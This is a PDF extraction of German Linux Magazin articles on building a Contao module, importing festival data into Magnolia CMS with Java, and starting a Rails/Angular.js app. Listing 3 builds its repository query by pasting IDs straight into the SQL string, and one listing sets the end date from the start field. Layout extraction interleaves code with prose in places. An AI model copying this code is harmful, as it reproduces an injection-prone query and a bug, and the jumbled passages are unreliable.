40 <br />

41 <br />

<br />

43 {{email::}}<br />

44 <br />

45 <br />

46


Abbildung 2: Die DCA-Datei erzeugt dieses Formular, das später der normale Benutzer angezeigt bekommt.<br />

folgenden Zeilen weitere Daten in das<br />

Template.<br />

Im Template sind damit jetzt alle Termine<br />

im Array »$this‐>results« verfügbar.<br />

Es genügt dort somit eine »foreach()«-<br />

Schleife, um die Zeilen der Ergebnistabelle<br />

aufzubauen. Den Code zeigt Listing<br />

2. Der Programmierer der Beispielaufgabe<br />

stellt der Tabelle zudem ein Formular<br />

voran, über das die Besucher später<br />

die Tabelle nach bestimmten Kriterien filtern<br />

lassen können (wie in Abbildung 1).<br />

Die eigentliche Filterung übernimmt das<br />

PHP-Modul anhand der »POST«-Daten.<br />

Das komplette Template wandert in eine<br />

eigene Datei im Unterverzeichnis »templates«<br />

– normalerweise sogar in zweifacher<br />

Ausführung: Die ».html5«-Datei<br />

enthält Tags gemäß HTML-5-Standard,<br />

die zweite Datei mit der Endung ».xhtml«<br />

verwendet hingegen das ältere XHTML.<br />

Der Administrator von Contao darf später<br />

im Backend zwischen HTML 5 und<br />

XHTML umschalten. Abhängig von seiner<br />

Wahl kommt automatisch das HTML-5-<br />

oder XHTML-Template zum Einsatz. Der<br />

Programmierer des Beispiels hat jedoch<br />

auf die XHTML-Variante verzichtet.<br />

Babelfisch<br />

In der Umsetzung der Beispielaufgabe<br />

sind die Beschriftungen der Tabellenspalten<br />

auf Deutsch. Übersetzungen hat der<br />

Programmierer nicht vorgesehen. Normalerweise<br />

liegen diese im Unterverzeichnis<br />

»languages«, in dem es für jede Sprache<br />

ein weiteres Unterverzeichnis mit dem<br />

jeweiligen Sprachkürzel gibt. Die Datei<br />

namens »modules.php« steuert die Modulnamen,<br />

im Beispielprojektenthält jedoch<br />

die folgenden zwei Zeilen:<br />

$GLOBALS['TL_LANG']['MOD']['linuxmagazin']U<br />

= array('<strong>Linux</strong> <strong>Magazin</strong> Demo');<br />

$GLOBALS['TL_LANG']['FMD']['linuxmagazin']U<br />

= array('<strong>Linux</strong> <strong>Magazin</strong> Demo');<br />

Sie sorgen dafür, dass später das Modul<br />

unter dem Namen »<strong>Linux</strong> <strong>Magazin</strong><br />

Demo« erscheint. Übersetzungen würden<br />

Contao-Entwickler meist in die »default.<br />

php«-Sprachdatei platzieren.<br />

Bürokratisch<br />

Schließlich bringt die Implementierung<br />

die Datei »dca/tl_module.php« mit, die<br />

gewöhnlich beschreibt, wie die vom Modul<br />

genutzten Datenbanktabellen und ihre<br />

Beziehungen zueinander aussehen. Contao<br />

bezeichnet die Definitionen als Data<br />

Container Arrays, kurz DCA. Die Implementierung<br />

braucht davon jedoch keinen<br />

Gebrauch zu machen, sondern definiert<br />

dort nur eine so genannte Palette. Das ist<br />

eine Sammlung aus Formularfeldern:<br />

$GLOBALS['TL_DCA']['tl_module']['palettes']U<br />

['linuxmagazin'] = '{title_legend},name,U<br />

headline,type;{protected_legend:hide},U<br />

protected;{expert_legend:hide},guests,U<br />

cssID,space';<br />

Dieses Formular zeigt später das Backend<br />

an. In diesem Fall besteht es aus ein<br />

paar Standardfeldern. Ihretwegen darf<br />

das Modul einige Contao-Features, wie


Titelthema<br />

www.linux-magazin.de Contao 11/2013<br />

26<br />

01 ;;<br />

die Überschrift und die Zugriffskontrolle,<br />

mitnutzen (Abbildung 2). Die recht kryptische<br />

DCA-Syntax ist in [4] erläutert.<br />

Eingehängt<br />

Dank der Datei »config/config.php« erkennt<br />

Contao das Modul als solches. Im<br />

konkreten Fall lautet ihr Inhalt nur:<br />

$GLOBALS['FE_MOD']['miscellaneous']U<br />

['linuxmagazin'] = 'Module<strong>Linux</strong><strong>Magazin</strong>';<br />

Hier registriert die Datei ein Modul für<br />

das Frontend (»FE_MOD«) und ordnet es<br />

in die Gruppe „Verschiedenes“ (»miscellaneous«)<br />

ein. Sie sorgt später im Backend<br />

in den Auswahllisten lediglich für etwas<br />

mehr Übersicht (siehe Abbildung 3). Des<br />

Weiteren trägt das Modul den Namen<br />

»linuxmagazin«. Die zugehörige Klasse<br />

heißt »Module<strong>Linux</strong><strong>Magazin</strong>«.<br />

Damit Contao 3 Klasse und Template laden<br />

und aufrufen kann, bedarf es einer<br />

»config/autoload.php« wie in Listing 3.<br />

Die erste Anweisung teilt Contao mit,<br />

dass es die Datei »Module<strong>Linux</strong><strong>Magazin</strong>.<br />

php« laden soll, wenn die Ausgaben der<br />

Klasse »Module<strong>Linux</strong><strong>Magazin</strong>« her müssen.<br />

Analog registriert die zweite Anweisung<br />

das Template: Wenn das Modul das<br />

»mod_linuxmagazin«-Template verlangt,<br />

01 ClassLoader::addClasses(array<br />

02 (<br />

Listing 3: Der Autoloader<br />

03 'Module<strong>Linux</strong><strong>Magazin</strong>' => 'system/modules/<br />

linuxmagazin/Module<strong>Linux</strong><strong>Magazin</strong>.php',<br />

04 ));<br />

05 <br />

06 TemplateLoader::addFiles(array<br />

07 (<br />

08 'mod_linuxmagazin' => 'system/modules/linuxmagazin/<br />

templates',<br />

09 ));<br />

Listing 4: »autoload.ini«<br />

02 ; List modules which are required to be loaded<br />

beforehand<br />

03 ;;<br />

04 requires[] = "core"<br />

05 <br />

06 ;;<br />

07 ; Configure what you want the autoload creator to<br />

register<br />

08 ;;<br />

09 register_namespaces = false<br />

10 register_classes = false<br />

11 register_templates = false<br />

Abbildung 3: Um etwas mehr Ordnung zu schaffen,<br />

gruppiert Contao die Module.<br />

weiß Contao, wo es die Datei findet.<br />

Zur »autoload.php« gesellt sich eine »autoload.ini«,<br />

welche unter anderem die Abhängigkeiten<br />

zu anderen Modulen verrät.<br />

Die »autoload.ini« für die Beispielaufgabe<br />

zeigt Listing 4. Beide Autoload-Dateien<br />

lassen sich im Backend mit dem Autoload-Creator<br />

automatisch generieren.<br />

Wählerischer Einspieler<br />

Contao besitzt eine Erweiterungsverwaltung,<br />

um Module zu installieren und zu<br />

aktivieren. Sie zapft aber nur den offiziellen<br />

Erweiterungskatalog der Contao-<br />

Homepage an. Wer sein Modul aus anderen<br />

Quellen besorgt oder gar selbst programmiert,<br />

muss es per Hand in ein Unterverzeichnis<br />

von »system/modules« des<br />

<strong>Web</strong>servers kopieren und den Installationsassistenten<br />

aufrufen.<br />

Letzterer richtet nicht nur Contao auf<br />

dem <strong>Web</strong>server ein, er prüft und aktualisiert<br />

auch die Datenbanktabellen. Es<br />

bleibt unklar, warum die Contao-Entwickler<br />

diesen fehleranfälligen Weg gehen<br />

und der Erweiterungsverwaltung<br />

keine Upload-Funktion<br />

spendieren. Da die Implementierung<br />

der Beispielaufgabe<br />

die Daten-<br />

Datei<br />

bank nichtanfass, genügte<br />

es, sie in das entsprechende<br />

Contao-Verzeichnis<br />

zu kopieren. dca/​tl_module.php<br />

config/​autoload.ini<br />

Wertung<br />

Insgesamt elf Dateien<br />

in fünf Verzeichnissen<br />

benötigt das Modul,<br />

um die Beispielaufgabe zu lösen (siehe<br />

Tabelle 1). Die meiste Arbeit leistet das<br />

Skript »Module<strong>Linux</strong><strong>Magazin</strong>.php« zusammen<br />

mit seinem Template »mod_linuxmagazin.html5«.<br />

Normalerweise<br />

würden noch weitere Dateien hinzukommen,<br />

etwa Übersetzungen. Dank Contaos<br />

eingebauten Erweiterungsgenerator spart<br />

der Einsteiger immerhin Tipparbeit.<br />

Die Implementierung der Beispielaufgabe<br />

zeigte zudem, dass Contao-Programmierer<br />

tunlichst Kommentare hinterlassen<br />

und den Quellcode gut formatieren sollten.<br />

Insbesondere das Template tendiert<br />

schnell zu kryptischen Textwüsten. Davon<br />

abgesehen fällt der Einstieg in den Code<br />

erstaunlich leicht. Auch die Implementierung<br />

der Beispielaufgabe erschließt sich<br />

recht schnell, obwohl der Pro grammierer<br />

in der Kürze der Zeit keine Kommentare<br />

hinterlassen hat.<br />

Voraussetzung ist allerdings, dass der<br />

Entwickler mit den Konzepten von Contao<br />

vertraut ist. Mangels Dokumentation<br />

gestaltet sich das jedoch für jeden Einsteiger<br />

schwierig. So war zum Redaktionsschluss<br />

zwar das Benutzer-, nicht<br />

aber das Entwicklerhandbuch und somit<br />

die einzige vollständige Dokumentation<br />

auf der Contao-Homepage verfügbar. Die<br />

meisten Anleitungen im Internet sind entweder<br />

veraltet oder werfen mehr Fragen<br />

auf, als sie klären. (jk) <br />

n<br />

Infos<br />

[1] Contao: [https:// contao. org/ de/]<br />

[2] Contao Association:<br />

[https:// association. contao. org]<br />

[3] Mootools: [http:// mootools. net]<br />

[4] Data Container Arrays:<br />

[https:// contao. org/ de/ manual/ 3. 1/​<br />

data‐container‐arrays. html]<br />

Tabelle 1: Die Dateien des Moduls im Überlick<br />

Bedeutung<br />

Module<strong>Linux</strong><strong>Magazin</strong>.php Zentrale Klasse, die Contao<br />

aufruft<br />

templates/​mod_linuxmagazin.php Template<br />

languages/​en/​modules.php Englische Übersetzungen<br />

DCA-Definitionen<br />

Konfigurationsdatei für den<br />

Autoloader<br />

config/​autoload.php<br />

Konfigurationsdatei für den<br />

Autoloader<br />

config.php<br />

Meldet das Modul bei Contao an<br />

assets/​<br />

Stylesheets


Titelthema<br />

www.linux-magazin.de Magnolia CMS 11/2013<br />

28<br />

Das in Java implementierte Magnolia CMS<br />

Blühender Content-Baum<br />

Magnolia CMS nutzen große Anwender wie Lovefilm oder EADS für ihre <strong>Web</strong>präsenz. Das freie Java-System importiert<br />

externe Daten in ein zentrales Content Repository und macht sie damit auch bearbeitbar. Carsten Zerbst<br />

© Vira Dobosh, 123RF.com<br />

gegebenenfalls notwendige Transformation<br />

geschehen im Autorensystem. Hier<br />

müssen die Fremddaten lokal verfügbar<br />

sein, entweder durch regelmäßiges Abfragen<br />

(Pull-Prinzip) oder das Empfangen<br />

externer Events wie JMS-Nachrichten<br />

(Push-Prinzip).<br />

Das freie Contentmanagement-System<br />

Magnolia CMS existiert seit zehn Jahren<br />

und dient bei einer Reihe von bekannten<br />

Firmen zur Umsetzung des Internetauftritts.<br />

Sein Kerngedanke ist die Trennung<br />

in ein Autorensystem zum Eingeben und<br />

Erfassen von Texten und Bildern auf der<br />

einen Seite und ein Publikationssystem,<br />

das die Inhalte den Nutzern in einem<br />

einheitlichen Layout präsentiert, auf der<br />

anderen.<br />

Der dahinterliegende Server ist in Java<br />

implementiert und fußt auf einer Reihe<br />

von Open-Source-Komponenten wie dem<br />

Servlet-Container Apache Tomcat und<br />

dem Content-Repository Jackrabbit. Magnolia<br />

CMS [1] ist sowohl in einer freien<br />

Der Programmierer<br />

Der Code für die Lösung der Aufgabe in diesem<br />

Artikel stammt aus dem Hause Magnolia<br />

International Ltd. in Basel [1], dem Hersteller<br />

des gleichnamigen CMS. Der Entwickler<br />

Lars Fischer aus der Abteilung Professional<br />

Services hat ihn geschrieben.<br />

wie in einer Enterprise-Edition verfügbar.<br />

Die freie Version steht unter der GPL,<br />

für die kommerzielle Ausgabe bietet die<br />

hinter Magnolia CMS stehende gleichnamige<br />

Firma nicht nur die üblichen<br />

Dienstleistungen, sondern auch zusätzliche<br />

Features wie die Unterstützung von<br />

mehreren Internetdomains oder kommerziellen<br />

JEE-Servern wie <strong>Web</strong>sphere und<br />

<strong>Web</strong>logic.<br />

Dieser Artikel zeigt, wie ein Entwickler<br />

Daten aus einer externen Quelle mit Hilfe<br />

von Magnolia CMS 5.0.2 auf den eigenen<br />

<strong>Web</strong>seiten publiziert. Als Beispiel dienen<br />

die unter [2] verfügbaren Daten über<br />

die Berliner und Brandenburger Volksund<br />

Straßenfeste. Hierfür kommt der<br />

in Abbildung 1 illustrierte Ablauf zum<br />

Einsatz: Der eigentliche Import und die<br />

DELUG-DVD<br />

Die Delug-DVD zu diesem <strong>Magazin</strong><br />

enthält eine lauffähige Tomcat-Instanz<br />

DELUG-DVD<br />

mit Magnolia CMS und der Lösung der Programmieraufgabe.<br />

Content Repository<br />

In seiner Lösung der Aufgabe hat der<br />

Programmierer die Daten als Json regelmäßig<br />

vom Berliner Server abgefragt und<br />

in Magnolia CMS importiert. Für die Datenspeicherung<br />

nutzt Magnolia ein Java<br />

Content Repository (JCR). Dahinter steckt<br />

ein baumartiger Datenspeicher, dessen<br />

Knoten beliebige Metadaten tragen sowie<br />

auf Massendaten (Texte, Bilder, Filme<br />

oder Ähnliches) verweisen.<br />

Die Grundidee dieser Speicherform besteht<br />

darin, kleinere Datenmengen wie<br />

hier Veranstaltungsort oder ‐zeit jeweils<br />

als Metadaten eines Knotens abzuspeichern<br />

und erst so spät wie möglich Text,<br />

Author<br />

Instanz<br />

Abfrage von Json<br />

Erstellen von<br />

JCR-Daten<br />

Publikation<br />

Public<br />

Instanz<br />

Rendern von<br />

JCR-Daten<br />

Java Content Repository (JCR)<br />

Browser<br />

Anfrage<br />

Darstellung<br />

Abbildung 1: Import und Ausgabe von Fremddaten in<br />

Magnolia CMS: Das Java Content Repository bildet<br />

den Mittelpunkt des Systems.


XML oder HTML zu erzeugen. Damit stehen<br />

die einzelnen Metadaten-Attribute<br />

für Abfragen über die JCR-Schnittstellen<br />

bereit und müssen nicht aufwändig aus<br />

einem Text extrahiert werden.<br />

Bei Magnolia CMS nutzen sowohl die<br />

Autoreninstanz als auch die für die Auslieferung<br />

an die Endnutzer zuständige<br />

öffentliche Instanz das gemeinsame Java<br />

Content Repository. Damit der Endanwender<br />

keine in Bearbeitung befindlichen<br />

Daten zu sehen bekommt, muss<br />

ein Redakteur die Einträge explizit für die<br />

Veröffentlichung freigeben.<br />

Sobald die Daten freigegeben sind, stehen<br />

sie in der öffentlichen Instanz bereit.<br />

Darauf greifen Endanwender mit ihrem<br />

Browser zu und fragen HTML-Seiten an.<br />

Diese generiert Magnolia durch Kombination<br />

der im JCR enthaltenen Rohdaten<br />

mit einem Template. Die Trennung von<br />

Inhalt und Template hat den Vorteil, dass<br />

sich Inhalt und Aussehen einer <strong>Web</strong>seite<br />

unabhängig voneinander ändern lassen.<br />

Datenimport<br />

Die eigentlich Umsetzung für die Berliner<br />

Volksfeste gestaltet sich recht schlank,<br />

die Implementation des Imports enthalten<br />

die Listings 1 bis 3. Die kompletten<br />

Quellen für die gelungene und ansprechende<br />

Umsetzung stehen als Maven-<br />

Projekt unter [6] zur Verfügung.<br />

Für Hintergrundprozesse kennt Magnolia<br />

CMS die Basisklasse »MgnlCommand«,<br />

deren Kinder sich über einen Cron-ähnlichen<br />

Mechanismus starten lassen. Die<br />

Konfiguration der zu startenden Klassen<br />

und Startzeiten geschieht bequem über<br />

die <strong>Web</strong>oberfläche. Für den Import der<br />

Berliner Daten hat der Anwendungsentwickler<br />

die Klasse »EventImporterCommand«<br />

abgeleitet (Listing 1).<br />

Startpunkt des Imports ist die Methode<br />

»execute()« in Zeile 12. Sie ruft zuerst die<br />

Json-Datei ab und wandelt sie mit Hilfe<br />

der Java-Bibliothek Gson [3] in Java-<br />

Objekte um. Dies sind Plain Old Java<br />

Objects (Pojos), einfache Datenobjekte,<br />

die eine Eins-zu-eins-Umsetzung des<br />

Json-Datenmodells in Java darstellen.<br />

Entsprechend sind alle Veranstaltungen<br />

in einem Objekt der Klasse »Index« enthalten,<br />

über die die For-Schleife (Zeilen<br />

27 bis 51) iteriert.<br />

Der Code in der Schleife fragt zunächst<br />

den Startknoten »Berlin Events« für die<br />

Ereignisse im JCR ab oder erzeugt ihn.<br />

Dann prüft er mit »eventExists()«, ob<br />

die Veranstaltung schon bekannt ist, andernfalls<br />

legt er mit »createEventNode()«<br />

einen neuen Knoten dafür an. Nach jeder<br />

Veranstaltung speichert »session.<br />

save()« (Zeile 43) die Änderungen im<br />

JCR. In Listing 2 findet das eigentliche<br />

Magnolia CMS 11/2013<br />

Titelthema<br />

www.linux-magazin.de<br />

29<br />

Listing 1: Laden der Daten und Hauptschleife<br />

01 public class EventImporterCommand extends MgnlCommand {<br />

02 <br />

03 [...]<br />

04 <br />

05 /**<br />

06 * Ausfuehrungs‐Methode des Magnolia Commands zum Import von<br />

07 * Berliner Volksfesten<br />

08 * @param context Magnolia Context<br />

09 * @return Ergebnis der Import‐Methode (true/false)<br />

10 */<br />

11 @Override<br />

12 public boolean execute(Context context) throws Exception {<br />

13 log.debug("Starte Event Import... ");<br />

14 <br />

15 boolean importResult = true;<br />

16 <br />

17 try {<br />

18 // Start des Daten‐Imports<br />

19 InputStream input = new URL(importURL).openStream();<br />

20 BufferedReader br = new BufferedReader(new InputStreamReader(<br />

input, "UTF‐8"));<br />

21 <br />

22 Gson gson = new Gson();<br />

23 <br />

24 VolksfestData data = gson.fromJson(br, VolksfestData.class);<br />

25 <br />

26 // Ende des eigentlichen Daten‐Imports, importierte Events werden<br />

verarbeitet<br />

27 for (Index event : data.getIndex()) {<br />

28 if (validEvent(event)) {<br />

29 try {<br />

30 // Erstellung einer Seite im <strong>Web</strong>site‐Tree, falls das Event<br />

31 // gueltige Daten hat und noch nicht vorhanden ist<br />

32 session = MgnlContext.getJCRSession(repository);<br />

33 <br />

34 Node parentNode = NodeUtil.createPath(session.<br />

getRootNode(),<br />

35 path, NodeTypes.Page.NAME, false);<br />

36 PropertyUtil.setProperty(parentNode, "mgnl:template",<br />

EVENT_OVERVIEW_TEMPLATE);<br />

37 PropertyUtil.setProperty(parentNode, "title", "Berlin<br />

Events");<br />

38 <br />

39 if (!eventExists(parentNode.getPath(), event.getId(),<br />

repository)) {<br />

40 createEventNode(parentNode, event, NodeTypes.Page.NAME);<br />

41 }<br />

42 <br />

43 session.save();<br />

44 } catch (Exception e) {<br />

45 log.error("Problem beim erstellen von Content fuer ein Event: "<br />

+ e.getMessage());<br />

46 }<br />

47 } else {<br />

48 log.error("Fehlende Pflichtfelder bei Event (kein Import):");<br />

49 log.error(event.toString());<br />

50 }<br />

51 }<br />

52 <br />

53 } catch (Exception e) {<br />

54 log.error("Problem beim Import von Events:" + e.getMessage());<br />

55 importResult = false;<br />

56 }<br />

57 <br />

58 log.debug("Event‐Import beendet.");<br />

59 <br />

60 return importResult;<br />

61 }<br />

62 [...]<br />

63 }


Titelthema<br />

www.linux-magazin.de Magnolia CMS 11/2013<br />

30<br />

Abbildung 2: Im Magnolia-Seiteneditor kann der Benutzer Veranstaltungen freigeben oder löschen.<br />

Abspeichern der Veranstaltungsdaten in<br />

der Methode »createEventNode()« statt.<br />

Dort legt »NodeUtil.createPath()« pro Veranstaltung<br />

einen neuen JCR-Knoten an<br />

(Zeile 10), »PropertyUtil« speichert die<br />

Daten aus dem Json-Objekt im Knoten.<br />

Das JCR-API bietet nicht nur Schnittstellen<br />

zum direkten Auslesen der Attribute,<br />

sondern auch umfangreiche Abfragemöglichkeiten.<br />

Das nutzt die »eventExists()«-<br />

Methode in Listing 3: Bei mehrfachem<br />

Import soll das CMS selbstverständlich<br />

für bereits bekannte Veranstaltungen<br />

keine neuen Knoten anlegen.<br />

Mit Hilfe einer SQL-ähnlichen Abfragesprache<br />

lassen sich JCR-Knoten anhand<br />

ihres Vaterknotens oder ihrer Metadaten<br />

finden. Das Attribut »id« aus den Originaldaten<br />

dient zur Identifizierung bereits<br />

importierter Veranstaltungen. Diese Suche<br />

stellt eine mächtige Grundlage für<br />

ein CMS dar, da sich neben Standardattributen<br />

(Änderungsdatum, Bearbeiter<br />

und so weiter) auch knotenspezifische<br />

Attribute wie ID oder der Stadtbezirk<br />

verwenden lassen. Auf der anderen Seite<br />

zeigt Listing 2 anhand des »location«-At-<br />

Listing 2: Mappen der Daten und Erzeugen der JCR-Knoten<br />

01 /**<br />

02 * Erstellt eine Event Page<br />

03 *<br />

04 * @param parentNode Parent‐Knoten im Repository fuer das neue Event<br />

05 * @param event einzelnes Event aus REST‐Import<br />

06 * @param eventType definiert den Typ des Events (<strong>Web</strong>seite oder Content)<br />

07 */<br />

08 protected void createEventNode(Node parentNode, Index event, String<br />

eventType) {<br />

09 try {<br />

10 Node eventNode = NodeUtil.createPath(parentNode, EVENT_PREFIX +<br />

event.getId(), eventType, false);<br />

11 if (StringUtils.equals(NodeTypes.Page.NAME, eventType)) {<br />

12 PropertyUtil.setProperty(eventNode, "mgnl:template",<br />

EVENT_TEMPLATE);<br />

13 PropertyUtil.setProperty(eventNode, "abstract",<br />

event.getBezeichnung());<br />

14 }<br />

15 PropertyUtil.setProperty(eventNode, "id", event.getId());<br />

16 PropertyUtil.setProperty(eventNode, "title",<br />

event.getBezeichnung());<br />

17 PropertyUtil.setProperty(eventNode, "eventTitle",<br />

event.getBezeichnung());<br />

18 PropertyUtil.setProperty(eventNode, "date", DateUtils.parseDate(<br />

event.getVon(), dateFormats));<br />

19 PropertyUtil.setProperty(eventNode, "dateEnd", DateUtils.parseDate(<br />

event.getVon(), dateFormats));<br />

20 PropertyUtil.setProperty(eventNode, "zeit", StringUtils.replace(<br />

event.getZeit(), "\n", " "));<br />

21 PropertyUtil.setProperty(eventNode, "location", getLocation(event));<br />

22 PropertyUtil.setProperty(eventNode, "bezirk", event.getBezirk());<br />

23 <br />

24 PropertyUtil.setProperty(eventNode, "link", event.getWww());<br />

25 PropertyUtil.setProperty(eventNode, "veranstalter",<br />

event.getVeranstalter());<br />

26 PropertyUtil.setProperty(eventNode, "mail", event.getMail());<br />

27 PropertyUtil.setProperty(eventNode, "bemerkungen",<br />

event.getBemerkungen());<br />

28 session.save();<br />

29 } catch (Exception e) {<br />

30 log.error("Event konnte nicht erstellt werden, Event ID " +<br />

event.getId() + ": " + e.getMessage());<br />

31 }<br />

32 }<br />

33 <br />

34 /**<br />

35 * Baut die Event‐Location aus Strasse und PLZ zusammen<br />

36 *<br />

37 * @param event Einzelnes Event aus REST‐Import<br />

38 * @return String mit der Event‐Location<br />

39 */<br />

40 protected String getLocation(Index event) {<br />

41 String location = event.getStrasse();<br />

42 if (StringUtils.isNotEmpty(event.getPlz())) {<br />

43 location += " (PLZ: " + event.getPlz() + ")";<br />

44 }<br />

45 return location;<br />

46 }


tributs und der Methode »getLocation()«,<br />

wie einfach das Mapping von den Json-<br />

Quelldaten zu den Metadaten eines JCR-<br />

Knotens ist.<br />

Freigeben und ändern<br />

Magnolia CMS 11/2013<br />

Titelthema<br />

Nach dem Import kommt zunächst die<br />

Freigabe, sie erfolgt über die Autoreninstanz<br />

von Magnolia CMS. Die in Abbildung<br />

2 mit einem roten Punkt markierten<br />

Veranstaltungen hat der Import neu angelegt,<br />

der Redakteur kann sie freigeben.<br />

Zudem lassen sich einzelne Veranstaltungen<br />

löschen, ändern (Abbildung 3) oder<br />

in einer <strong>Vorschau</strong> betrachten – Features,<br />

die Magnolia frei Haus mitliefert.<br />

Bis jetzt existiert pro Veranstaltung nur ein<br />

Satz Metadaten im JCR, die Endanwender<br />

erwarten jedoch eine HTML-Seite im<br />

Browser. Zum Rendern der Daten bietet<br />

Magnolia CMS sein Standard Templating<br />

Kit (STK) an. Dessen Basis ist die weitverbreitete<br />

Template-Engine Freemarker<br />

Abbildung 3: Einmal importiert, lassen sich die Daten der Veranstaltungen jederzeit ändern.<br />

www.linux-magazin.de<br />

31


Titelthema<br />

www.linux-magazin.de Magnolia CMS 11/2013<br />

32<br />

Die Suche ist Server-seitig schon unterstützt,<br />

nur das Übersichts-Template erhielt<br />

zusätzlich eine Referenz auf eine<br />

neue Komponente. Diese ist wiederum<br />

ein Template, das das Formular mit dem<br />

Start- und Enddatum enthält. Durch diesen<br />

modularen Aufbau kann man auf<br />

beliebigen Seiten immer wieder die gleichen<br />

Bausteine einfügen. Das Kalender-<br />

Widget selber zeichnet die Komponente<br />

»datepicker« aus der Bibliothek Jquery UI<br />

[5] ins Browserfenster.<br />

Zusammenfassung<br />

01 /**<br />

[4]. Sie kümmert sich um das Rendern<br />

von Java-Objekten in Text. Die in Magnolia<br />

mitgelieferten Templates enthalten<br />

Standarddarstellungen, von Übersichtsseiten<br />

bis zu einzelnen Komponenten wie<br />

Kalender- oder Kommentarboxen. Für die<br />

Anzeige der Berliner Events kommen die<br />

02 * Prueft, ob ein Event bereits existiert<br />

03 *<br />

04 * @param eventPath Repository‐Pfad, in dem das Event gesucht werden soll<br />

05 * @param eventId eindeutige ID des Events aus dem REST‐Import<br />

06 * @param repo Repository, in dem gesucht werden soll<br />

07 */<br />

existierenden Templates für »Event Overview«<br />

und »Event« zum Einsatz.<br />

Der Entwickler hat die Standardseite<br />

mit einem geänderten CSS-Stylesheet<br />

versehen und vor allem die Suche von<br />

Veranstaltungen anhand des Start- und<br />

Enddatums umgesetzt (Abbildung 4).<br />

08 protected boolean eventExists(String eventPath, String eventId, String repo) {<br />

09 boolean found = false;<br />

10 <br />

11 String sql = "select * from [nt:base] as t where ISDESCENDANTNODE([" + eventPath + "]) " +<br />

12 "and (t.id='" + eventId + "')";<br />

13 <br />

14 try {<br />

15 NodeIterator posts = QueryUtil.search(repo, sql);<br />

16 if (posts.hasNext() && posts.nextNode() != null) {<br />

17 found = true;<br />

18 }<br />

19 } catch (RepositoryException e) {<br />

20 log.error("Problem bei der Suche nach einem Event: " + e.getMessage());<br />

21 }<br />

22 <br />

23 return found;<br />

24 }<br />

Abbildung 4: Aus einem von Magnolia CMS bereits mitgelieferten Template wird mit kleinen Anpassungen die<br />

HTML-Seite mit der Veranstaltungsübersicht.<br />

Listing 3: Abfrage im JCR, ob Knoten bereits existiert<br />

Magnolia CMS bietet offenbar eine solide<br />

Basis für den Aufbau einer <strong>Web</strong>präsenz.<br />

Die Trennung der Daten von der Darstellung<br />

mittels Java Content Repository<br />

und Templates vermeidet Probleme beim<br />

Anpassen des Aussehens von Anfang an.<br />

Auch das Anbinden von Fremddaten mit<br />

eigenem Java-Quelltext lässt sich zügig<br />

umsetzen, durch den Einsatz des Content<br />

Repository ergibt sich zugleich ein<br />

Caching. Das Template-Konzept für die<br />

Darstellung ist in sich schlüssig, wer gravierende<br />

Änderungen an den vorhandenen<br />

Templates vornimmt, muss jedoch<br />

einiges an Lernaufwand vorsehen. Positiv<br />

fällt die umfangreiche Dokumentation<br />

auf der <strong>Web</strong>seite [1] auf. (mhu) n<br />

Infos<br />

[1] Magnolia CMS:<br />

[http:// www. magnolia‐cms. com]<br />

[2] Information über Feste als Json:<br />

[http:// www. berlin. de/ sen/ wirtschaft/​<br />

service/ maerkte/ strassenfeste/ index. php/​<br />

index/ all. json? q=]<br />

[3] Google-Gson:<br />

[http:// code. google. com/ p/ google‐gson/]<br />

[4] Freemarker: [http:// freemarker. org]<br />

[5] Jquery UI: [http:// jqueryui. com]<br />

[6] Listings zu diesem Artikel:<br />

[http:// www. linux‐magazin. de/ static/​<br />

listings/ magazin/ 2013/ 11/ magnolia‐cms]<br />

Der Autor<br />

Carsten Zerbst arbeitet als Teamleiter im CADund<br />

PDM-Umfeld für die Automobil-, Luft- und<br />

Raumfahrtindustrie. Er konzentriert sich auf die<br />

Beratung und Erstellung von Java-basierter Individualsoftware<br />

zur optimalen Unterstützung der<br />

Arbeitsabläufe. Zur Zeit ist er auf der Suche nach<br />

neuen Teammitgliedern.


Titelthema<br />

www.linux-magazin.de Ruby on Rails 11/2013<br />

34<br />

Ruby on Rails plus Angular.js<br />

Flexible Unterlage<br />

Das <strong>Web</strong>framework Ruby on Rails nimmt dem Entwickler viel Arbeit ab und lässt sich doch weitgehend anpassen.<br />

In der Beispielanwendung liefert es lediglich die Daten im Json-Format, das Anzeigen im Browser übernimmt<br />

die Javascript-Bibliothek Angular.js. Jan Krutisch<br />

die als Vorgänger von Bibliotheken wie<br />

Jquery gelten können, im Rails-Umfeld<br />

entstanden. Rails war zudem eines der<br />

ersten Frameworks, die es dem Entwickler<br />

leicht gemacht haben, <strong>Web</strong>seiten mit<br />

Ajax-Funktionen anzureichern.<br />

Rails nutzt dabei die Sprachmittel von<br />

Ruby sehr geschickt, um dynamisch zur<br />

Laufzeit Informationen zur Verfügung zu<br />

stellen, die in anderen Umgebungen bereits<br />

zur Entwurfszeit in Code gegossen<br />

werden.<br />

© Graham Oliver, 123RF.com<br />

Ruby on Rails ist ein <strong>Web</strong>framework auf<br />

Basis der Programmiersprache Ruby. Im<br />

Jahr 2004 hat es der dänische Entwickler<br />

David Heinemeier Hansson erstmals als<br />

Open Source veröffentlicht, inzwischen<br />

liegt die kurz auch Rails [1] genannte<br />

Software in der frisch gebackenen Version<br />

4 vor.<br />

Rails verspricht die Entwicklung von<br />

Datenbank-gestützten <strong>Web</strong>anwendungen<br />

stark zu beschleunigen. Zusammen<br />

mit dem Python-Framework Django begründete<br />

es eine neue Klasse von sehr<br />

01 # 20130903183431_create_events.rb<br />

02 class CreateEvents < ActiveRecord::Migration<br />

03 def change<br />

04 create_table :events do |t|<br />

05 t.string :source_id<br />

06 t.text :area<br />

07 t.text :description<br />

08 t.string :street<br />

09 t.string :zip_code<br />

10 t.date :starts_at<br />

11 t.date :ends_at<br />

Listing 1: Datenbank-Migration<br />

kompletten Frameworks, zu denen zum<br />

Beispiel auch das PHP-Framework Symfony<br />

zu zählen ist, die dem Entwickler an<br />

vielen Stellen Arbeit abnehmen, typische<br />

Aufgaben mit Generatoren und anderen<br />

Konstrukten automatisieren und es einfach<br />

machen, Best Practices der <strong>Web</strong>entwicklung<br />

zu folgen.<br />

Über seine nun bald zehnjährige Geschichte<br />

hat Rails zahlreiche Trends in<br />

der <strong>Web</strong>entwicklung mitgeprägt oder<br />

zumindest früh aufgegriffen. So sind<br />

etwa Prototype.js und Script.aculo.us,<br />

12 t.text :period<br />

13 t.text :host<br />

14 t.string :email<br />

15 t.string :website<br />

16 t.text :note<br />

17 t.timestamps<br />

18 end<br />

19 <br />

20 add_index :events, :source_id<br />

21 end<br />

22 end<br />

Die Anwendung<br />

Eine laufende Version der gelösten Aufgabe<br />

(Abbildung 1) findet sich unter<br />

[2]. Der Quellcode liegt unter [3] und<br />

lässt sich, sofern Ruby 2.0.0 installiert<br />

